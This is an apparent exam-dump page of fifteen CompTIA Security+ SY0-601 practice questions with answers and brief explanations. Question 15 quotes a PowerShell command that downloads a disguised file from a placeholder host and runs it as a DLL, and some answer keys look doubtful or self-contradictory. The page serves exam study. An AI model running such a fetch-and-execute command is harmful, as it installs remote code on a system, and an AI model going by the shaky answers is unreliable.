All4Certs CompTIA,SY0-601 dumps Challenge the SY0-601 exam with our free forefront PDF and Exam Questions

Challenge the SY0-601 exam with our free forefront PDF and Exam Questions

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Question 1:

A company recently experienced a significant data loss when proprietary information was leaked to a competitor. The company took special precautions by using proper labels; however, email filter logs do not have any record of the incident. An investigation confirmed the corporate network was not breached, but documents were downloaded from an employee\’s COPE tablet and passed to the competitor via cloud storage. Which of the following is the BEST remediation for this data leak?

A. User training

B. CASB

C. MDM

D. DLP

Correct Answer: B


Question 2:

While checking logs, a security engineer notices a number of end users suddenly downloading files with the .tar.gz extension. Closer examination of the files reveals they are PE32 files. The end users state they did not initiate any of the downloads. Further investigation reveals the end users all clicked on an external email containing an infected MHT file with an href link a week prior. Which of the following is MOST likely occurring?

A. A RAT was installed and is transferring additional exploit tools.

B. The workstations are beaconing to a command-and-control server.

C. A logic bomb was executed and is responsible for the data transfers.

D. A fireless virus is spreading in the local network environment

Correct Answer: A

“A remote access Trojan (RAT) is a type of malware that allows attackers to control systems from remote locations. It is often delivered via drive-by downloads or malicious attachments in email. Once installed on a system, attackers can then

access the infected computer at any time and install additional malware if desired.

A growing trend is for attackers to deliver trojans as Portable Executable (PE) files in 32-bit (PE32) and 64-bit (PE64) formats. They often compress the PE files using compression tools, such as tar (sometimes called tarball). Tar files have

the .tar.gz file extension.”

taken from darril gibson S+ study guide. answer= RAT


Question 3:

An organization has hired a red team to simulate attacks on its security posture. Which of the following will the blue team do after detecting an IoC?

A. Reimage the impacted workstations

B. Activate runbooks for incident response

C. Conduct forensics on the compromised system

D. Conduct passive reconnaissance to gather information

Correct Answer: B


Question 4:

An analyst is reviewing logs associated with an attack. The logs indicate an attacker downloaded a malicious file that was quarantined by the AV solution. The attacker utilized a local non-administrative account to restore the malicious file to a new location. The file was then used by another process to execute a payload. Which of the following attacks did the analyst observe?

A. Privilege escalation

B. Request forgeries

C. Injection

D. Replay attack

Correct Answer: C

key words “non-admin account” and “execute a payload ” hence C correct


Question 5:

A security analyst notices several attacks are being blocked by the NIPS but does not see anything on the boundary firewall logs. The attack seems to have been thwarted Which of the following resiliency techniques was applied to the network to prevent this attack?

A. NIC Teaming

B. Port mirroring

C. Defense in depth

D. High availability

E. Geographic dispersal

Correct Answer: C

A defense-in-depth strategy, aka a security-in-depth strategy, refers to a cybersecurity approach that uses multiple layers of security for holistic protection. A layered defense helps security organizations reduce vulnerabilities, contain threats, and mitigate risk https://csrc.nist.gov/glossary/term/defense_in_depth#:~:text=Definition(s)%3A,and%20dimensions%20of%20the%20organization


Question 6:

A document that appears to be malicious has been discovered in an email that was sent to a company\’s Chief Financial Officer (CFO). Which of the following would be BEST to allow a security analyst to gather information and confirm it is a malicious document without executing any code it may contain?

A. Open the document on an air-gapped network

B. View the document\’s metadata for origin clues

C. Search for matching file hashes on malware websites

D. Detonate the document in an analysis sandbox

Correct Answer: C

Not every malicious doc has matching hash on malware website.


Question 7:

A security analyst has identified malware spreading through the corporate network and has activated the CSIRT

Which of the following should the analyst do NEXT?

A. Review how the malware was introduced to the network

B. Attempt to quarantine all infected hosts to limit further spread

C. Create help desk tickets to get infected systems reimaged

D. Update all endpoint antivirus solutions with the latest updates

Correct Answer: B

Phases in the Incident Response Plan

1.

Preparation: The organization plans out how they will respond to attack, this can involve:

2.

Identification: Detecting and determining whether an incident has occurred.

3.

Containment: Once a threat has been identified, the organization must limit or prevent any further damage. 4. Eradication: The removal of the threat

5.

Recovery: Restoring systems affected by the incident

6.

Lessons Learned: Where the organization reviews their incident response and prepare for a future attack


Question 8:

Cloud security engineers are planning to allow and deny access to specific features in order to increase data security. Which of the following cloud features is the most appropriate to ensure access is granted properly?

A. API integrations

B. Auditing

C. Resource policies

D. Virtual networks

Correct Answer: C


Question 9:

An employee\’s laptop was stolen last month. This morning, the was returned by the A cyberrsecurity analyst retrieved laptop and has since cybersecurity incident checklist Four incident handlers are responsible for executing the checklist. Which of the following best describes the process for evidence collection assurance?

A. Time stamp

B. Chain of custody

C. Admissibility

D. Legal hold

Correct Answer: B

Chain of custody is a process that documents the chronological and logical sequence of custody, control, transfer, analysis, and disposition of materials, including physical or electronic evidence. Chain of custody is important to ensure the integrity and admissibility of evidence in legal proceedings. Chain of custody can help evidence collection assurance by providing proof that the evidence has been handled properly and has not been tampered with or contaminated.

References: https://www.comptia.org/certifications/security#examdetails https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives https://www.thoughtco.com/chain-of-custody-4589132


Question 10:

On the way into a secure building, an unknown individual strikes up a conversation with an employee. The employee scans the required badge at the door while the unknown individual holds the door open, seemingly out of courtesy, for the employee. Which of the following social engineering techniques is being utilized?

A. Shoulder surfing

B. Watering-hole attack

C. Tailgating

D. Impersonation

Correct Answer: C


Question 11:

Which of the following BEST helps to demonstrate integrity during a forensic investigation?

A. Event logs

B. Encryption

C. Hashing

D. Snapshots

Correct Answer: C

Hahshing = Checksum = Integrity


Question 12:

Administrators have allowed employees to access their company email from personal computers. However, the administrators are concerned that these computers are another attack

Surface and can result in user accounts being breached by foreign actors. Which of the following actions would provide the MOST secure solution?

A. Enable an option in the administration center so accounts can be locked if they are accessed from different geographical areas.

B. Implement a 16-character minimum length and 30-day expiration password policy.

C. Set up a global mail rule to disallow the forwarding of any company email to email addresses outside the organization,

D. Enforce a policy that allows employees to be able to access their email only while they are connected to the Internet via VPN.

Correct Answer: A


Question 13:

The cost of removable media and the security risks of transporting data have become too great for a laboratory. The laboratory has decided to interconnect with partner laboratories to make data transfers easier and more secure.

The Chief Security Officer (CSO) has several concerns about proprietary data being exposed once the interconnections are established.

Which of the following security features should the network administrator implement to prevent unwanted data exposure to users in partner laboratories?

A. VLAN zoning with a file-transfer server in an external-facing zone

B. DLP running on hosts to prevent file transfers between networks

C. NAC that permits only data-transfer agents to move data between networks

D. VPN with full tunneling and NAS authenticating through the Active Directory

Correct Answer: A

The labs are not part of the network so data access/loss controls within the network will not solve the issue. Network design (segmentation) with a FS accessible to the labs solves better as only authorised data is stored and no access to internal network/data. Of course other security measures for data at rest and in transit will be applied to FS i.e firewalls, VPN to authenticate and secure connections from the labs but the issue here is what data are they allowed access


Question 14:

The website http://companywebsite.com requires users to provide personal information, including security question responses, for registration. Which of the following would MOST likely cause a data breach?

A. Lack of input validation

B. Lack of input validation

C. Unsecure protocol

D. Missing patches

Correct Answer: C

Website is using HTTP which is the unsecure protocol of HTTP


Question 15:

An employee received an email with an unusual file attachment named Updates . Lnk. A security analysts reverse engineering what the fle does and finds that executes the folowing script:

C:\Windows \System32\WindowsPowerShell\vl.0\powershell.exe -URI https://somehost.com/04EB18.jpg – OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll

Which of the following BEST describes what the analyst found?

A. A Powershell code is performing a DLL injection.

B. A PowerShell code is displaying a picture.

C. A PowerShell code is configuring environmental variables.

D. A PowerShell code is changing Windows Update settings.

Correct Answer: A

According to GitHub user JSGetty196\’s notes1, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism. https://www.comptia.org/training/books/security-sy0-601-study-guide


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